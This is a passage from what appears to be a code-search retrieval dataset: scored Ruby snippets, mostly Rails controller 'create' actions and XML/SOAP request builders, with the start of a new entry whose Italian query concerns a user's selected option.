"docid": "c9f4978d28bb1c339aa84638cee07fce",
"score": "0.53166986",
"text": "def create\n @alcalde = Alcalde.new(params[:alcalde])\n\n respond_to do |format|\n if @alcalde.save\n flash[:notice] = 'Alcalde se ha creado con exito.'\n format.html { redirect_to(admin_alcaldes_url) }\n format.xml { render :xml => @alcalde, :status => :created, :location => @alcalde }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alcalde.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c840df2b574d7e45c9a87240d8f7c240",
"score": "0.53114146",
"text": "def post\n resource.post(request, response)\n end",
"title": ""
},
{
"docid": "c840df2b574d7e45c9a87240d8f7c240",
"score": "0.53114146",
"text": "def post\n resource.post(request, response)\n end",
"title": ""
},
{
"docid": "7e88c3aae3626f128ea2b6136024cfc8",
"score": "0.53054",
"text": "def create\n @feriadocentecalificacion = Feriadocentecalificacion.new(params[:feriadocentecalificacion])\n\n respond_to do |format|\n if @feriadocentecalificacion.save\n format.html { redirect_to(@feriadocentecalificacion, :notice => 'Feriadocentecalificacion was successfully created.') }\n format.xml { render :xml => @feriadocentecalificacion, :status => :created, :location => @feriadocentecalificacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feriadocentecalificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9477d03ad0c678f02bcc74ac5851b15e",
"score": "0.53049654",
"text": "def post_network(xmlfile)\n xml=File.read(xmlfile)\n \n url = URI.parse(@endpoint+\"/network\")\n \n req = Net::HTTP::Post.new(url.path)\n req.body=xml\n \n req.basic_auth @occiauth[0], @occiauth[1]\n \n res = CloudClient::http_start(url) do |http|\n http.request(req)\n end\n \n if CloudClient::is_error?(res)\n return res\n else\n return res.body\n end\n end",
"title": ""
},
{
"docid": "eb226bcfcee70fa52ed1cac73624da29",
"score": "0.5301786",
"text": "def create\n @aluno = Aluno.new(params[:aluno])\n\n respond_to do |format|\n if @aluno.save\n format.html { redirect_to(@aluno, :notice => 'Aluno was successfully created.') }\n format.xml { render :xml => @aluno, :status => :created, :location => @aluno }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @aluno.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "330191fdbebffaa8f33b80e82973a3f6",
"score": "0.5298603",
"text": "def create\n @ocupacion = Ocupacion.new(params[:ocupacion])\n\n respond_to do |format|\n if @ocupacion.save\n flash[:notice] = 'Ocupacion was successfully created.'\n format.html { redirect_to(@ocupacion) }\n format.xml { render :xml => @ocupacion, :status => :created, :location => @ocupacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ocupacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c4ca2969fc2b042e0d347b774bff74b",
"score": "0.52969694",
"text": "def create\n request = to_xml\n log \"[CREATE SENT] (#{__FILE__}:#{__LINE__}) #{request}\"\n\n response = parent.send(parent.create_method, request)\n\n log \"[CREATE RECEIVED] (#{__FILE__}:#{__LINE__}) #{response}\"\n\n parse_save_response(response)\n end",
"title": ""
},
{
"docid": "86ed31058602e6cba9117f1710f12234",
"score": "0.52969545",
"text": "def create\n @acceso = Acceso.new(params[:acceso])\n\n respond_to do |format|\n if @acceso.save\n flash[:notice] = 'Acceso was successfully created.'\n format.html { redirect_to(@acceso) }\n format.xml { render :xml => @acceso, :status => :created, :location => @acceso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @acceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4cabbd723a5aa61f0b8dce78879ded4e",
"score": "0.527622",
"text": "def create\n @appraisal = Appraisal.new(params[:appraisal])\n\n respond_to do |format|\n if @appraisal.save\n flash[:notice] = 'Appraisal was successfully created.'\n format.html { redirect_to(@appraisal) }\n format.xml { render :xml => @appraisal, :status => :created, :location => @appraisal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @appraisal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "60919817e1001a768de3584956a03423",
"score": "0.52757365",
"text": "def create\n @annonce = Annonce.new(params[:annonce])\n\n respond_to do |format|\n if @annonce.save\n flash[:notice] = \"Annonce enregistrée avec succès.\"\n format.html { redirect_to(@annonce) }\n format.xml { render :xml => @annonce, :status => :created, :location => @annonce }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @annonce.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6fa6dae2dfa96cb3e48d9f42eb76ee7a",
"score": "0.52681136",
"text": "def create\n @ausencia = Ausencia.new(params[:ausencia])\n\n respond_to do |format|\n if @ausencia.save\n flash[:notice] = 'Ausencia was successfully created.'\n format.html { redirect_to(@ausencia) }\n format.xml { render :xml => @ausencia, :status => :created, :location => @ausencia }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ausencia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb7ea5bbb5d1aac7828794c8e36f6250",
"score": "0.5267936",
"text": "def create \n @order = \n if (request.content_type == 'application/xml') \n Order.new_from_xml(request.body)\n else\n Order.new(params[:order])\n end\n\n respond_to do |format|\n if @order.save \n format.html { redirect_to(@order) }\n format.xml { render :action => 'show', :status => :created, :location => @order }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ac17acbbc564e7f1ba220737b838ed08",
"score": "0.525634",
"text": "def create\n @ufalta = Ufalta.new(params[:ufalta])\n\n respond_to do |format|\n if @ufalta.save\n flash[:notice] = 'Ufalta was successfully created.'\n format.html { redirect_to(@ufalta) }\n format.xml { render :xml => @ufalta, :status => :created, :location => @ufalta }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ufalta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d1e2f72de5f35b2be27ee5ede3d5fd1a",
"score": "0.5252099",
"text": "def create\n\n response = send_fax(params)\n render json: response\n\n end",
"title": ""
},
{
"docid": "88140dbced41aceb147e0f3579141435",
"score": "0.5251188",
"text": "def create\n @aluno = Aluno.new(params[:aluno])\n\n respond_to do |format|\n if @aluno.save\n format.html { redirect_to(consultar_aluno_path(@aluno), :notice => 'O aluno foi criado com sucesso.') }\n format.xml { render :xml => @aluno, :status => :created, :location => @aluno }\n else\n format.html { render :action => \"novo\" }\n format.xml { render :xml => @aluno.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f476e06530901a466a3867fdce0879a",
"score": "0.5251018",
"text": "def create\n @payer = Payer.new(params[:payer])\n\n respond_to do |format|\n if @payer.save\n format.html { redirect_to(@payer, :notice => 'Payer was successfully created.') }\n format.xml { render :xml => @payer, :status => :created, :location => @payer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @payer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f0957b4e1c73d495a709cdd071b52242",
"score": "0.5245905",
"text": "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n erb = File.read(File.expand_path(\"../../templates/config.xml.erb\", __FILE__))\n email = @user.email\n git_url = @user.giturl\n name = @user.name\n conf = ERB.new(erb).result(binding)\n puts conf\n\n require 'net/http'\n require 'uri'\n require 'json'\n\n @url = \"http://t4a-ci.cloudafrica.net/createItem?name=#{name}\"\n puts @url\n url = URI.parse(@url)\n\n #req = Net::HTTP::Post.new(url.request_uri)\n #req.body = conf\n #request[\"Content-Type\"] = \"application/xml\"\n #@res = Net::HTTP.new(url.host, url.port).start { |http| http.request(req) }\n #puts @res.inspect\n\n\n http = Net::HTTP.new(url.host, url.port)\n request = Net::HTTP::Post.new(url.request_uri)\n request.body = conf\n request[\"Content-Type\"] = \"application/xml\"\n\n\n http.request(request)\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3f23e1ef7e19a9d616586877c8c5f2b1",
"score": "0.5243355",
"text": "def to_xml\n set_common_nodes\n set_nodes_contents\n process_signature\n @application_request.to_xml\n end",
"title": ""
},
{
"docid": "d9b404c9747534beb653f54c4d90af88",
"score": "0.52414626",
"text": "def submit(stanza)\n @service.context.post(@path, stanza, {})\n end",
"title": ""
},
{
"docid": "bcb2cb0affc315aee66ea89afcd83ca9",
"score": "0.5240569",
"text": "def create\n @entree = Entree.new(params[:entree])\n\n respond_to do |format|\n if @entree.save\n flash[:notice] = 'Entree was successfully created.'\n format.html { redirect_to(@entree) }\n format.xml { render :xml => @entree, :status => :created, :location => @entree }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @entree.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "daf84fc5e9a5cb6738f5acf4b9f6aa45",
"score": "0.5238238",
"text": "def create\n @anexo = Anexo.new(params[:anexo])\n\n respond_to do |format|\n if @anexo.save\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@anexo) }\n format.xml { render :xml => @anexo, :status => :created, :location => @anexo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @anexo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "507073e54458ded9ff32fc037b0526a4",
"score": "0.5238016",
"text": "def create\n @naciona = Naciona.new(params[:naciona])\n\n respond_to do |format|\n if @naciona.save\n flash[:notice] = 'Naciona was successfully created.'\n format.html { redirect_to(@naciona) }\n format.xml { render :xml => @naciona, :status => :created, :location => @naciona }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @naciona.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7b0fa731fcc89131d24304f9051c6d8",
"score": "0.5236654",
"text": "def send(*attributes)\n request_type = attributes.shift\n generated_xml = generate_xml(request_type, attributes.first)\n RAILS_DEFAULT_LOGGER.debug \"Sent XML: #{generated_xml}\"\n @connection.write generated_xml\n response = @connection.read\n @connection.close\n \n Response.new response\n end",
"title": ""
},
{
"docid": "c91cd6bfc772affacb040a9c25924e8e",
"score": "0.5236642",
"text": "def create\n @tipos = Tipo.all\n @raca = Raca.new(params[:raca])\n\n respond_to do |format|\n if @raca.save\n flash[:notice] = 'Registro salvo com sucesso.'\n format.html { redirect_to(racas_url) }\n format.xml { render :xml => @raca, :status => :created, :location => @raca }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @raca.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78294163bcf14e28ccea74117f9774bf",
"score": "0.52297455",
"text": "def create\n @agenciaextranjera = Agenciaextranjera.new(params[:agenciaextranjera])\n\n respond_to do |format|\n if @agenciaextranjera.save\n format.html { redirect_to(@agenciaextranjera, :notice => 'Agencia Extranjera fue creada satisfactoriamente.') }\n format.xml { render :xml => @agenciaextranjera, :status => :created, :location => @agenciaextranjera }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @agenciaextranjera.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e78d1d004c0aef35d9fd4e748e3ce5fb",
"score": "0.52234477",
"text": "def auth(api_user, api_password)\n # <eCommerce action=\"Request\" version=\"1.1\">\n # <Requestor>\n # <ID>username</ID>\n # <Password>password</Password>\n # </Requestor>\n # </eCommerce>\n ecommerce = Element.new \"eCommerce\"\n ecommerce.attributes[\"action\"] = \"Request\"\n ecommerce.attributes[\"version\"] = \"1.1\"\n\n user = Element.new \"Requestor\"\n user_id = Element.new \"ID\"\n user_id.text = api_user \n\n user_pwd = Element.new \"Password\"\n user_pwd.text = api_password \n\n user << user_id\n user << user_pwd\n\n ecommerce << user\n @xml << ecommerce\n end",
"title": ""
},
{
"docid": "9771a9eb17cdb9f2fe66b71ae8a65be8",
"score": "0.5222697",
"text": "def create\n @obrasproyecto = Obrasproyecto.new(params[:obrasproyecto])\n\n respond_to do |format|\n if @obrasproyecto.save\n flash[:notice] = 'Obrasproyecto was successfully created.'\n format.html { redirect_to(@obrasproyecto) }\n format.xml { render :xml => @obrasproyecto, :status => :created, :location => @obrasproyecto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @obrasproyecto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "37f83300346702df88fc1f6c9f371a39",
"score": "0.5222399",
"text": "def create\n @ponto_assinatura = PontoAssinatura.new(params[:ponto_assinatura])\n\n respond_to do |format|\n if @ponto_assinatura.save\n format.html { redirect_to(@ponto_assinatura, :notice => 'Ponto assinatura cadastrado com sucesso.') }\n format.xml { render :xml => @ponto_assinatura, :status => :created, :location => @ponto_assinatura }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ponto_assinatura.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f9e70c2e3a2dc496a290f67207d8b02",
"score": "0.5219965",
"text": "def create\n Passenger.destroy_all\n @passenger = Passenger.new(params[:passenger])\n lastname=@passenger.last_name\n firstname=@passenger.first_name\n email=@passenger.email\n password=@passenger.password\n user=@passenger.user\n\n client = Savon::Client.new (ruta_wdsl)\n client.wsdl.soap_actions\n response = client.request :ser, :registrarPasajero do\n soap.namespaces[\"xmlns:ser\"] = \"http://service.wsreserva.qwerty.dsd.upc.edu.pe/\"\n soap.body = \"<pasajero><apepaterno>\" + lastname + \"</apepaterno><apematerno></apematerno><correo>\" + email + \"</correo><nombre>\" + firstname + \"</nombre><password>\" + password + \"</password><usuario>\" + user + \"</usuario></pasajero>\" \n end\n\n if response.success?\n @passenger = response.to_hash\n respond_to do |format|\n if @passenger[:registrar_pasajero_response][:return][:codigo]==\"0\"\n session[:usr] = @passenger[:registrar_pasajero_response][:return][:pasajero][:usuario]\n session[:name] = @passenger[:registrar_pasajero_response][:return][:pasajero][:nombre]\n session[:pwd] = @passenger[:registrar_pasajero_response][:return][:pasajero][:password]\n format.html { redirect_to \"/passengers/\"+@passenger[:registrar_pasajero_response][:return][:pasajero][:idpasajero], notice: @passenger[:registrar_pasajero_response][:return][:mensaje] }\n format.json { render json: @passenger[:registrar_pasajero_response][:return][:mensaje], status: :created, location: @passenger}\n else\n format.html { render action: \"new\" }\n format.json { render json: @passenger[:registrar_pasajero_response][:return][:mensaje], status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "4c8ace41350f050e71d92715d754f8d8",
"score": "0.5217592",
"text": "def create\n @netzkenaic = Netzkenaic.new(params[:netzkenaic])\n\n respond_to do |format|\n if @netzkenaic.save\n format.html { redirect_to(@netzkenaic, :notice => 'Netzkenaic was successfully created.') }\n format.xml { render :xml => @netzkenaic, :status => :created, :location => @netzkenaic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @netzkenaic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "546f6e03ff1a30725fb4e1e0a1fb2829",
"score": "0.5216388",
"text": "def create\n request = if receivers.empty?\n Request.post('transactions', api_version, params)\n else\n Request.post_xml('transactions/', nil, credentials, xml_params)\n end\n\n Response.new(request, self).serialize\n end",
"title": ""
},
{
"docid": "c7a4999c303180816402935f001d3e45",
"score": "0.5213581",
"text": "def create\n @etapasproceso = Etapasproceso.new(params[:etapasproceso])\n\n respond_to do |format|\n if @etapasproceso.save\n flash[:notice] = 'Etapasproceso was successfully created.'\n format.html { redirect_to(@etapasproceso) }\n format.xml { render :xml => @etapasproceso, :status => :created, :location => @etapasproceso }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @etapasproceso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24c08d180fbd880d1bf984aecc351dc4",
"score": "0.52126884",
"text": "def create\n @depositario = Depositario.new(params[:depositario])\n\n respond_to do |format|\n if @depositario.save\n format.html { redirect_to(@depositario, :notice => 'Depositario cadastrado com sucesso.') }\n format.xml { render :xml => @depositario, :status => :created, :location => @depositario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @depositario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "967eb633fc422a44d26f749057eb3abb",
"score": "0.52125716",
"text": "def request\r\n server = Net::HTTP.new(\"b2b.freightquote.com\", 80)\r\n path = path = \"/dll/fqxmlquoter.asp\"\r\n data = @xml.to_s\r\n headers = { \"Content-Type\" => \"text/xml\"}\r\n resp = server.post(path, data, headers)\r\n price = parse_response(resp.body)\r\n end",
"title": ""
},
{
"docid": "0205e5c4cd1b368102e31d8abed28a8e",
"score": "0.5212292",
"text": "def send\n response = RestClient.post( CicEmbededPayment.configuration.endpoint, @parsed )\n PaymentResponse.new(response)\n end",
"title": ""
},
{
"docid": "7f03017b4353dc362757fe4a4c0e3741",
"score": "0.5211382",
"text": "def post_data(money, creditcard, options)\n params = parameters(money, creditcard, options)\n\n xml = REXML::Document.new\n order = xml.add_element('order')\n\n # Merchant Info\n merchantinfo = order.add_element('merchantinfo')\n merchantinfo.add_element('configfile').text = @options[:login]\n\n # Loop over the params hash to construct the XML string\n for key, value in params\n elem = order.add_element(key.to_s)\n if key == :items\n build_items(elem, value)\n else\n for k, _ in params[key]\n elem.add_element(k.to_s).text = params[key][k].to_s if params[key][k]\n end\n end\n # Linkpoint doesn't understand empty elements:\n order.delete(elem) if elem.size == 0\n end\n return xml.to_s\n end",
"title": ""
},
{
"docid": "c9f676745ae93422ba085c36152dc502",
"score": "0.52098596",
"text": "def create\n @almacenesmantenimiento = Almacenesmantenimiento.new(params[:almacenesmantenimiento])\n\n respond_to do |format|\n if @almacenesmantenimiento.save\n format.html { redirect_to(@almacenesmantenimiento, :notice => 'Almacenesmantenimiento was successfully created.') }\n format.xml { render :xml => @almacenesmantenimiento, :status => :created, :location => @almacenesmantenimiento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @almacenesmantenimiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "92eee3457901ce87298d5dbb2b9ccda2",
"score": "0.5209488",
"text": "def transmit\n if params[:result] == \"Cancel\"\n flash[:notice] = 'DOI creation cancelled.'\n redirect_to root_url\n elsif params[:result] == \"Edit\"\n redirect_to edit_adapt_doi_url(@doi)\n else\n xml = @doi.data_cite\n app_id = \"00000000\" # TODO read real app_id from secrets.rb\n ada_url = \"http://ada.edu.au/ada/#{@doi.ddi_id}\"\n service_url = \"https://services.ands.org.au/doi/1.1/mint.json/\"\n\n response = HTTParty.post(service_url,\n :query => { :app_id => app_id, :url => ada_url },\n :body => { :xml => \"#{xml}\" },\n :limit => 10)\n Rails.logger.warn response\n # TODO analyse the response here, store new DOI or report error\n\n redirect_to adapt_doi_url(@doi)\n end\n end",
"title": ""
},
{
"docid": "9902fac0d365af48ff1b52585209d144",
"score": "0.52090853",
"text": "def call\n message = (xml_envelope != nil ? xml_envelope : build)\n\n raw_response = @http.post(endpoint, http_headers, message)\n Response.new(raw_response)\n end",
"title": ""
},
{
"docid": "42f3ace8c8e2b800e2430ed1dbd67401",
"score": "0.52049357",
"text": "def create\n @esfera = Esfera.new(params[:esfera])\n\n respond_to do |format|\n if @esfera.save\n format.html { redirect_to(@esfera, :notice => 'Esfera was successfully created.') }\n format.xml { render :xml => @esfera, :status => :created, :location => @esfera }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @esfera.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8e7f6565369ea645086c63a0bd1072e5",
"score": "0.52025783",
"text": "def create\n @solicitante = Solicitante.new(params[:solicitante])\n\n respond_to do |format|\n if @solicitante.save\n format.html { redirect_to(@solicitante, :notice => 'Solicitante was successfully created.') }\n format.xml { render :xml => @solicitante, :status => :created, :location => @solicitante }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @solicitante.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db000ba04e94a1831c69d94064ce7e90",
"score": "0.52010304",
"text": "def create\n \n \tif session[:user_type] != \"admin-mx\" && session[:user_type] != \"agent\" # basic security trap\n\t return\n \tend\n \t\n @agcommision = Agcommision.new(params[:agcommision])\n\n respond_to do |format|\n if @agcommision.save\n format.xml { render :xml => @agcommision, :status => :created, :location => @agcommision }\n else\n format.xml { render :xml => @agcommision.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "697b1867b9ef988cb8ae8c1d7a4917d4",
"score": "0.5200938",
"text": "def create\n @deposito = Deposito.new(params[:deposito])\n\n respond_to do |format|\n if @deposito.save\n format.html { redirect_to(depositos_url, :notice => 'El Deposito ha sido creado satisfactoriamente.') }\n format.xml { render :xml => @deposito, :status => :created, :location => @deposito }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @deposito.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
50b1c2487bff3dff32667086fb56e6d3
|
Restituisce la nuova opzione selezionata dall'utente
|
[
{
"docid": "33cc72efc2e802c79344105e37307f9e",
"score": "0.0",
"text": "def selected_value\n return @keys ? @keys[self.index] : self.index\n end",
"title": ""
}
] |
[
{
"docid": "13f7d657b315a10f5ae06c7c39d7612c",
"score": "0.62364",
"text": "def excede_control_de_pago_global()\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0 # inicializacionn de variable sumatoria en cero ok\n #La idea aqui es verificar si la sumatoria de posible pago de todas las jugadas de todos los tipos de tickets activos de hoy no excede el limite globar de riesgo del sistema ok\n \n #limite GLOBAL = 1 ADMINISTRATIVO OK Y TIPOJUGADA TAMBIEN MANUAL = GLOBAL OK TED. POPULATE IT IN DATABASE PRODUCTION OK:\n control_monto_max_pago_global = Controldepagogt.where(:tipojugada => \"global\" ).first.limiteglobal.to_i || 1 # setear un valor default ok \n\n t_ids = Ticket.today.where(:activo => \"si\").ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_sumatoria_posible_pago = Jugadalot.where(:ticket_id => t_ids)# postrges casting erro string ok .sum(:posiblepago).to_i\n \n if not @listado_sumatoria_posible_pago.nil?\n @listado_sumatoria_posible_pago.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += jugada.posiblepago.to_i\n end\n \n end\n \n \n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global = 0\n# t.each do |ticket|\n# @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n# end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_todos_parlay_global.to_i <= control_monto_max_pago_global.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"title": ""
},
{
"docid": "ad244bd0c45d5d9274f7612fa6fee986",
"score": "0.5963439",
"text": "def suivre; end",
"title": ""
},
{
"docid": "9c3f33386ca5b7a0ae6f6e9df146f98a",
"score": "0.584302",
"text": "def topsman_periphacitis_urosteon()\n end",
"title": ""
},
{
"docid": "394bd377d58ab14a6dd04418e9012cbb",
"score": "0.5829713",
"text": "def set_oportunidade\r\n @oportunidade = Oportunidade.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "d6df27f533608bf74a4b616d70faa6d1",
"score": "0.58052325",
"text": "def asignarOponente(op)\n @oponente = op \n end",
"title": ""
},
{
"docid": "2b628fd9d661307727ff5149d5c91d52",
"score": "0.579334",
"text": "def solicitudes_atrasadas\n end",
"title": ""
},
{
"docid": "7707a92f92f5af48115248e4fa998cf7",
"score": "0.5782638",
"text": "def status_da_divulgacao(topico)\n end",
"title": ""
},
{
"docid": "c4b0c6ad730e91b68ac1f4412578e802",
"score": "0.57137436",
"text": "def ajusta_serie_opciones(serie, opciones)\n end",
"title": ""
},
{
"docid": "9c4422b76ff02650afc02e8d93a9096d",
"score": "0.568095",
"text": "def selecionar_opcao\n btn_metro.click\n btn_bicicletario_vaga_verde.click\n foco(btn_vacinacao)\n end",
"title": ""
},
{
"docid": "2f07d73c16577f9a8164859250f47c7f",
"score": "0.5658945",
"text": "def excede_control_de_pago_x_ticket_x_parlay(last_tickect_current_user, entrada) # define el monto maximo a sacar por parlay, ej. pago max para tripletas, cuartetas etc.. no por ticket sino por tipo de ticket parlay ok\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0 # inicializacion de variable de sumatoria en cero ok.\n #verificar tipo de parlay de ese ticket:\n parlay_count = Jugadalot.where(:ticket_id => last_tickect_current_user).count\n #parlay_count\n\n #switch case para asignar tipo de jugada segun tipo de parlay para buscar en control de pago:\n tipo_jugada = \"default\" # valor vacio para posible uso fuera de contexto de septimetas en adelante, hacer que retorne false la funcion ok. (no encontrado)\n \n #el switch case lo haremos de modo simple con el if statement por ahora ok:\n if parlay_count.to_i == 1\n tipo_jugada = \"directo\" \n end\n\n if parlay_count.to_i == 2\n tipo_jugada = \"pale\" \n end\n\n if parlay_count.to_i == 3\n tipo_jugada = \"tripleta\" \n end\n\n if parlay_count.to_i == 4\n tipo_jugada = \"cuarteta\" \n end\n\n if parlay_count.to_i == 5\n tipo_jugada = \"quinteta\" \n end\n\n if parlay_count.to_i == 6\n tipo_jugada = \"sexteta\" \n end\n\n if parlay_count.to_i == 7\n tipo_jugada = \"septimeta\" \n end\n\n if parlay_count.to_i == 8\n tipo_jugada = \"octaveta\" \n end\n\n control_monto_max_pago = Controldepagogt.where(:tipojugada => tipo_jugada ).first.limiteglobal.to_i\n\n #acabo de conseguir el limite global de ese parlay en curso, ahora buscar la sumatoria de todos las jugadalots.posiblepago de los ticket activo de hoy y ver si no sbobrepara ese limiet ok\n t_ids = Ticket.today.where(:activo => \"si\", :parlay => tipo_jugada.to_s ).ids # todos los ticket actio de hoy con ese parlay ok\n \n @listado_jugadas_a_sumar = Jugadalot.where(:ticket_id => t_ids)# POstgres casting sum string error ok..sum(:posiblepago).to_i\n \n if not @listado_jugadas_a_sumar.nil?\n @listado_jugadas_a_sumar.each do |jugada|\n @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += jugada.posiblepago.to_i\n end\n end\n\n \n\n #Sumar posible pago de esas jugadas de cada ticket parlay ok.\n #@sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay = 0\n #t.each do |ticket|\n # @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay += Jugadalot.where(:ticket_id => ticket.id).last.posiblepago.to_i\n #end\n\n if @sumatoria_posible_pago_todos_tickets_de_hoy_ese_parlay.to_i <= control_monto_max_pago.to_i\n # si es menor todo ok\n false # no excede\n else\n true #si excede \n end\n\n\n end",
"title": ""
},
{
"docid": "9d5209209fb2263cf9a6f78306ae660a",
"score": "0.55955243",
"text": "def set_opo\n if current_user.admin?\n @opo = Opo.find(params[:id])\n else\n @opo = current_user.unidade.opos.find(params[:id])\n end\n end",
"title": ""
},
{
"docid": "0eda05c6a4ee837abcec04f35162f4c9",
"score": "0.55918044",
"text": "def set_utenti\n @utenti = Utenti.find(params[:id])\n end",
"title": ""
},
{
"docid": "2c2afcbd4fd7657287319c00d4974178",
"score": "0.5528722",
"text": "def changerEnVide\n\t\t@couleur=-1\n\tend",
"title": ""
},
{
"docid": "29f58cb4781deb3baf34808920a36fbd",
"score": "0.5512943",
"text": "def logica\n puts \"\\nObservado: Estoy haciendo algo importante\"\n # Con un random, podemos hacer reaccionar al ObservadorA o ObservadorB.\n # @estado = rand(0..10)\n\n # Con esto reaccionan ambos\n @estado = 0\n puts \"\\nObservado: mi estado cambio a #{@estado}\"\n notificar\n end",
"title": ""
},
{
"docid": "fc6cca8515c061e85300e136a7c89ff8",
"score": "0.5509727",
"text": "def simulacion\n @ordenes = Orden.where(:estado => \"Recolectada\")\n end",
"title": ""
},
{
"docid": "b5372528b3f0196104272909376bd1aa",
"score": "0.55067176",
"text": "def mostra_tudo\n apius.mostra_resumo\n apide.mostra_resumo\n apifr.mostra_resumo\n apimt.mostra_resumo\n apies.mostra_resumo\n apigm.mostra_resumo\n apibc.mostra_resumo\n end",
"title": ""
},
{
"docid": "c8a54ad3ef9536b80f2f65b0120cd099",
"score": "0.5499491",
"text": "def medir_indicador_otro(mind, ind, fini, ffin, resf)\n # evidencia de resultado principal debe ser retornada\n # en resf[:rutaevidencia]\n if respond_to?(\"medir_indicador_otro_tipo_\" +\n ind.tipoindicador_id.to_s)\n resf = send(\n \"medir_indicador_otro_tipo_\" +\n ind.tipoindicador_id.to_s,\n mind,\n fini,\n ffin,\n )\n if resf[:datosint].count != ind.tipoindicador\n .datointermedioti.count\n puts \"Error. No coinciden resf.datosint.count \" +\n \"(#{resf[:datosint].count} y \" +\n \"ind.tipoindicador.datointermedioti.count \" +\n \"(#{ind.tipoindicador.datointermedioti.count}).\"\n end\n end\n resf\n end",
"title": ""
},
{
"docid": "75c6f97731702399a46b40ddc05904b3",
"score": "0.5466401",
"text": "def anular\n self.estado = Cancelacion::ESTADOS[:anulada]\n end",
"title": ""
},
{
"docid": "9b2f99958933e0592ee94277767855ae",
"score": "0.5458566",
"text": "def pontosanunciante\n\n\t\tUsuario.find(self.id_usuario).meuspontos\n\n\tend",
"title": ""
},
{
"docid": "94ae50dd86e849ca1897f274ef4de8a5",
"score": "0.5455905",
"text": "def envia_taxones_seleccionados\n end",
"title": ""
},
{
"docid": "2a881facd5b607ccd640714b03f85769",
"score": "0.5455595",
